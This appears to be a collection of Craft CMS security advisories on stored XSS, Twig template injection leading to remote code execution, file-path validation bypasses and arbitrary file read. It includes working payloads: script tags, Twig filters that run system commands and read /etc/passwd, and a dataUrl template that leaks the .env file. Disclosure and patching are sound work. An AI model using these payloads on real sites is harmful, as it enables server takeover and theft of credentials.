Craft CMS 4.2.0.1 is vulnerable to Cross Site Scripting (XSS) via Drafts.
Impact
This is a potential moderate impact, low complexity privilege escalation vulnerability in Craft with certain user permissions setups.
Patches
This has been fixed in Craft 4.4.16 and Craft 3.9.6. Users should ensure they are running at least those versions.
References
https://github.com/craftcms/cms/pull/13932 https://github.com/craftcms/cms/pull/13931 https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4511---2023-11-16 https://github.com/craftcms/cms/blob/v3/CHANGELOG.md#396---2023-11-16
Craft CMS through 4.4.9 is vulnerable to HTML Injection.
Summary A malformed RSS feed can deliver an XSS payload
PoC Create an RSS widget and add the domain https://blog.whitebear.vn/file/rss-xss2.rss The XSS payload will be triggered by the title in tag <item>
Resolved in https://github.com/craftcms/cms/commit/b77cb3023bed4f4a37c11294c4d319ff9f598e1f
Summary XSS can be triggered via the Update Asset Index utility
PoC 1. Access setting tab 2. Create new assets 3. In assets name inject payload: "<script>alert(26)</script> 4. Click Utilities tab 5. Choose all volumes, or volume trigger xss 7. Click Update asset indexes.
XSS will be triggered
Json response volumes name makes triggers the payload
"session":{"id":1,"indexedVolumes":{"1":"\"<script>alert(26)</script>"},
It’s run on every POST request in the utility.
Resolved in https://github.com/craftcms/cms/commit/8c2ad0bd313015b8ee42326af2848ee748f1d766
Summary XSS can be triggered by review volumes
PoC
1. Access setting tab 2. Create new assets 3. In assets name inject payload: "<script>alert(1337)</script> 4. Click Utilities tab 5. Choose all volumes, or volume trigger xss 6. Click Update asset indexes. 7. Wait to assets update success. 8. Progress complete. 9. Click on review button will trigger XSS
Root cause Function: index.php?p=admin/actions/asset-indexes/process-indexing-session&v=1680710595770 After loading completed, progess will load: "skippedEntries" and "missingEntries" These parameters is not yet filtered, I just tried "skippedEntries" but I think it will be work with "missingEntries"
My reponse: { "session": { "id": 10, "indexedVolumes": { "6": "\"<script>alert(1337)</script>" }, "totalEntries": 2235, "processedEntries": 2235, "cacheRemoteImages": true, "listEmptyFolders": false, "isCli": false, "actionRequired": true, "dateCreated": "Apr 5, 2023, 9:03:16 AM", "skippedEntries": [ "\"<script>alert(1337)</script>/assetpreviews/Image.php", "\"<script>alert(1337)</script>/assetpreviews/Pdf.php" ], "missingEntries": { "folders": [], "files": [] }, "processIfRootEmpty": false }, "skipDialog": false }
Resolved in https://github.com/craftcms/cms/commit/053d7119697e480ff81c5723bb9a33eaa49e0fc7
Summary The platform does not filter input and encode output in Quick Post validation error message, which can deliver an XSS payload.
Details Old CVE fixed the XSS in label HTML but didn’t fix it when clicking save.
PoC 1. Login at admin 2. Go to setting 3. Create a Section 4. On Entry page, click Edit label 5. Inject the XSS payload into the label and save 6. On the admin dashboard choose new widget -> Quick Post 7. In Quick Post, click save with blank slug; The XSS will be executed
"errors":{"title":["<script>alert('nono')</script> cannot be blank."],"slug":["Slug cannot be blank."]
Fixed in https://github.com/craftcms/cms/commit/9d0cd0bda7c8a830a3373f8c0f06943e519ac888
Craft CMS before 3.7.14 allows CSV injection.
The Seomatic component before 3.2.46 for Craft CMS allows Server-Side Template Injection and information disclosure via malformed data to the metacontainers controller.
Craft CMS before 2.6.2974 allows XSS attacks.
Craft CMS contains a potential remote code execution vulnerability via Twig SSTI. You must have administrator access and ALLOWADMINCHANGES must be enabled for this to work.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Note: This is a follow-up to https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv
Users should update to the patched versions (4.14.13 and 5.6.15) to mitigate the issue.
References https://github.com/craftcms/cms/pull/17026
Summary
Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.
(Post-authentication, ALLOWADMINCHANGES=true)
Details
Note: This is a sequel to CVE-2023-40035
In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:
php / Returns an absolute path based on a source location or the current working directory. @param string $to The target path. @param string|null $from The source location. Defaults to the current working directory. @param string $ds the directory separator to be used in the normalized result. Defaults to DIRECTORYSEPARATOR. @return string @since 4.3.5 / public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORYSEPARATOR, ): string { $to = static::normalizePath($to, $ds);
// Already absolute? if ( strstartswith($to, $ds) || pregmatch(sprintf('/^[A-Z]:%s/', pregquote($ds, '/')), $to) ) { return $to; }
if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); }
return $from . $ds . $to; }
This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.
Let's see what happens after calling isSystemDir("../templates/poc"):
php / Returns whether the given file path is located within or above any system directories. @param string $path @return bool @since 5.4.2 / public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (strstartswith("$path/", "$dir/") || strstartswith("$dir/", "$path/")) { // if (false || false) return true; } }
return false; // We're here! }
Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136: php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }
We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc
Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml
Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.
js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}
These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.
PoC
1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
2. Create a new filesystem with base path ../templates/poc
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">
Notice that the poc directory was created
<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
3. Create a new asset volume using the poc filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">
Upload a poc.ttml file with RCE template code
js {{'<pre>'}} {{ 88 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}
Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.
<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">
!ttml
4. Create a new route with template poc/poc.ttml
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
5. This leads to Remote Code Execution on arbitrary route /
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">
Remediation
diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); }
- return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); }
/
!fixnorm
See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:
diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needsenvironment' => true]), + new TwigFilter('find', [$this, 'find'], ['needsenvironment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),
!fixssti
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)
Summary Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOWADMINCHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below. php // Set the vendor path. By default assume that it's 4 levels up from here $vendorPath = $findConfigPath('--vendorPath', 'CRAFTVENDORPATH') ?? dirname(DIR, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/. $rootPath = $findConfigPath('--basePath', 'CRAFTBASEPATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFTDOTENVPATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFTCONFIGPATH') ?? "$rootPath/config"; $contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFTCONTENTMIGRATIONSPATH') ?? "$rootPath/migrations"; $storagePath = $findConfigPath('--storagePath', 'CRAFTSTORAGEPATH') ?? "$rootPath/storage"; $templatesPath = $findConfigPath('--templatesPath', 'CRAFTTEMPLATESPATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFTTRANSLATIONSPATH') ?? "$rootPath/translations"; $testsPath = $findConfigPath('--testsPath', 'CRAFTTESTSPATH') ?? "$rootPath/tests";
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir() php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { // Make sure it’s not within any of the system directories $path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) { $dir = FileHelper::absolutePath($dir, '/'); if (strstartswith("$path/", "$dir/")) { $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.')); break; } } }
ref. https://www.php.net/manual/en/wrappers.file.php
PoC 1) Create a new filesystem. Base Path: file:///var/www/html/templates
!1
2) Create a new asset volume. Asset Filesystem: localbypass
!2
3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates twig {{'<pre>'}} {{13371337}} {{['cat /etc/passwd']|map('passthru')|join}} {{['id;pwd;ls -altr /']|map('passthru')|join}} !3 !4
4) Create a new route. URI: , Template: poc.ttml
!5
5) Confirm RCE on arbitrary path ( / )
!6
PoC Env
!0628 env
Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)
Craft CMS 4.2.0.1 suffers from Stored Cross Site Scripting (XSS) in /admin/myaccount.
Cross Site Scripting (XSS) vulnerability in Craft CMS Audit Plugin before version 3.0.2 allows attackers to execute arbitrary code during user creation.
Craft CMS 4.2.0.1 is affected by Cross Site Scripting (XSS) in the file src/web/assets/cp/src/js/BaseElementSelectInput.js and in specific on the line label: elementInfo.label.
Craft is a platform for creating digital experiences. When you insert a payload inside a label name or instruction of an entry type, an cross-site scripting (XSS) happens in the quick post widget on the admin dashboard. This issue has been fixed in version 4.3.7.
Summary Unrestricted file extension lead to a potential Remote Code Execution (Authenticated, ALLOWADMINCHANGES=true)
Details Vulnerability Cause : If the name parameter value is not empty string('') in the View.php's doesTemplateExist() -> resolveTemplate() -> resolveTemplateInternal() -> resolveTemplate() function, it returns directly without extension verification, so that arbitrary extension files are rendered as twig templates (even if they are not extensions set in defaultTemplateExtensions = ['html', 'twig']) php / Searches for a template files, and returns the first match if there is one. @param string $basePath The base path to be looking in. @param string $name The name of the template to be looking for. @param bool $publicOnly Whether to only look for public templates (template paths that don’t start with the private template trigger). @return string|null The matching file path, or null. / private function resolveTemplate(string $basePath, string $name, bool $publicOnly): ?string { // Normalize the path and name $basePath = FileHelper::normalizePath($basePath); $name = trim(FileHelper::normalizePath($name), '/');
// $name could be an empty string (e.g. to load the homepage template) if ($name !== '') { if ($publicOnly && pregmatch(sprintf('/(^|\/)%s/', pregquote($this->privateTemplateTrigger, '/')), $name)) { return null; }
// Maybe $name is already the full file path $testPath = $basePath . DIRECTORYSEPARATOR . $name;
if (isfile($testPath)) { return $testPath; }
foreach ($this->defaultTemplateExtensions as $extension) { $testPath = $basePath . DIRECTORYSEPARATOR . $name . '.' . $extension;
if (isfile($testPath)) { return $testPath; } } }
foreach ($this->indexTemplateFilenames as $filename) { foreach ($this->defaultTemplateExtensions as $extension) { $testPath = $basePath . ($name !== '' ? DIRECTORYSEPARATOR . $name : '') . DIRECTORYSEPARATOR . $filename . '.' . $extension;
if (isfile($testPath)) { return $testPath; } } }
return null; }
When attacker with admin privileges on the DEV or Misconfigured STG, PROD, they can exploit this vulnerability to remote code execution (ALLOWADMINCHANGES=true)
PoC Step 1) Create a new filesystem. Base Path: /var/www/html/templates !1
Step 2) Create a new asset volume. Asset Filesystem: template !2
Step 3) Upload poc file( .txt , .js , .json , etc ) with twig template rce payload twig {{'<pre>'}} {{13371337}} {{['cat /etc/passwd']|map('passthru')|join}} {{['id;pwd;ls -altr /']|map('passthru')|join}} !7 !5
Step 4) Create a new global set with template layout. The template filename is poc.js !8
Step 5) When access global menu or /admin/global/test, poc.js is rendered as a template file and RCE confirmed !9
Step 6) RCE can be confirmed on other menus(Entries, Categories) where the template file is loaded. !10 !11
Poc Environment) ALLOWADMINCHANGES=true, defaultTemplateExtensions=['html','twig'] !0 !13 !14
Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Additionally, there are 371 domains using CraftCMS exposed on Shodan, and among them, 33 servers have "stage" or "dev" included in their hostnames.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)
!2023-03-31 10 29 53
Remediation Recommend taking measures by referring to https://github.com/craftcms/cms-ghsa-9f84-5wpf-3vcf/pull/1 php // Maybe $name is already the full file path $testPath = $basePath . DIRECTORYSEPARATOR . $name;
if (isfile($testPath)) { // Remedation: Verify template file extension, before return $fileExt = pathinfo($testPath, PATHINFOEXTENSION); $isDisallowed = false;
if (isset($fileExt)) { $isDisallowed = !inarray($fileExt, $this->defaultTemplateExtensions);
if($isDisallowed) { return null; } else { return $testPath; } } }
!remediation
CraftCMS 3.7.59 is vulnerable Cross Site Scripting (XSS). An attacker can inject javascript code into Volume Name.
A malformed title in the feed widget of craftcms/cms can deliver an XSS payload. This has been resolved in this commit.
An issue found in CraftCMS v.3.8.1 allows a remote attacker to execute arbitrary code via a crafted script to the Section parameter.
A post-authentication stored cross-site scripting vulnerability exists in Craft CMS versions <= 4.4.11. HTML, including script tags can be injected into field names which, when the field is added to a category or section, will trigger when users visit the Categories or Entries pages respectively.
DISPUTED CraftCMS version 3.7.59 is vulnerable to Server-Side Template Injection (SSTI). An authenticated attacker can inject Twig Template to User Photo Location field when setting User Photo Location in User Settings, lead to Remote Code Execution. NOTE: the vendor disputes this because only Administrators can add this Twig code, and (by design) Administrators are allowed to do that by default.
End of life: 4/30/2024, End of support: 4/30/2023, Latest version: 3.9.15
End of life: 4/30/2024, End of support: 4/30/2023, Latest version: 3.9.15
Summary By abusing the mail notification template it is possible to read arbitrary operating system files.
Details The dataUrl function can be exploited if an attacker has write permissions on system notification templates. This function accepts an absolute file path, reads the file's content, and converts it into a Base64-encoded string. By embedding this function within a system notification template, the attacker can exfiltrate the Base64-encoded file content through a triggered system email notification. Once the email is received, the Base64 payload can be decoded, allowing the attacker to read arbitrary files on the server.
Requirements: write permissions to system notification templates ability to trigger a corresponding system email
PoC 1) Modify a template to contain the following twig template string: twig {{ dataUrl('/var/www/web/.env') }} 2) Trigger the corresponding notification email (e.g. by resetting a password) 3) Receive the email and decode the base64 string
Mail received: !Bildschirmfoto 2024-09-05 um 16 20 41
Decoded string: !Bildschirmfoto 2024-09-05 um 16 28 24
Impact 1) Exposure of Sensitive Information: Arbitrary file read can lead to the exposure of sensitive data such as configuration files (e.g., /etc/passwd, .env, config.php), which may contain credentials, API keys, or database passwords. This can provide the attacker with further access to the system or connected services.
2) Privilege Escalation: If the attacker is able to read files that contain privileged information, such as credentials for other systems or applications, they may be able to escalate their privileges beyond what the web admin role originally allowed, potentially gaining full control over the server or other related systems.
3) Server Compromise: Access to files like SSH keys, private certificates, or system configuration files can lead to the complete compromise of the underlying server. With this information, an attacker could remotely log in to the server or impersonate it in secure communications.
4) Exfiltration of User Data: The ability to read arbitrary files may allow an attacker to access user data, such as stored passwords, session tokens, or private information (like uploaded files or logs), leading to a breach of confidentiality and violating privacy regulations (e.g., GDPR).
Summary A vulnerability in CraftCMS allows an attacker to bypass local file system validation by utilizing a double file:// scheme (e.g., file://file:////). This enables the attacker to specify sensitive folders as the file system, leading to potential file overwriting through malicious uploads, unauthorized access to sensitive files, and, under certain conditions, remote code execution (RCE) via Server-Side Template Injection (SSTI) payloads.
Note that this will only work if you have an authenticated administrator account with allowAdminChanges enabled.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Details The issue lies in line 57 of cms/src/helpers/FileHelper.php, it only removes file:// on the most left. It is trivial to bypass this sanitization by adding 2 file://, e.g. file://file:////. php public static function normalizePath($path, $ds = DIRECTORYSEPARATOR): string { // Remove any file protocol wrappers $path = StringHelper::removeLeft($path, 'file://');
// Is this a UNC network share path? $isUnc = (strstartswith($path, '//') || strstartswith($path, '\\\\'));
// Normalize the path $path = parent::normalizePath($path, $ds);
// If it is UNC, add those slashes back in front if ($isUnc) { $path = $ds . $ds . ltrim($path, $ds); }
return $path; }
PoC 1. Sign in with an admin account and navigate to Settings → Assets, then create a new volume. 2. n the Asset Filesystem section, create a new file system and set the Base Path to file://file:////vendor. Without the prefix, the selection fails. !alt text With the double file:// prefix, the selection succeeds. !alt text 3. Access Assets from the left navigation bar, then upload a file into this volume. !alt text 4. The file is successfully uploaded and stored in the sensitive folder specified (e.g., /vendor). !alt text 5. SSTI payloads can be uploaded to /templates folder, though full code execution was not achieved during testing, some payloads were still successful, leading to sensitive information disclosure, among other potential impacts. !alt text
Impact Attackers who compromise an admin account(The admin user is not equal to the server owner) can exploit this flaw to assign sensitive folders as the base path of the filesystem. For instance, if the path /templates is specified (e.g., file://file:////var/www/html/templates), the attacker could upload SSTI payloads. While CraftCMS includes strict SSTI input sanitization, RCE may still be possible if the attacker can craft a valid payload, as seen in similar vulnerabilities (e.g., GHSA-44wr-rmwq-3phw).
Additionally, attackers can upload tampered files to overwrite critical web application files. By enabling public URLs for files in the specified filesystem, they can also retrieve sensitive files (e.g., configuration files from the local file system).
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat.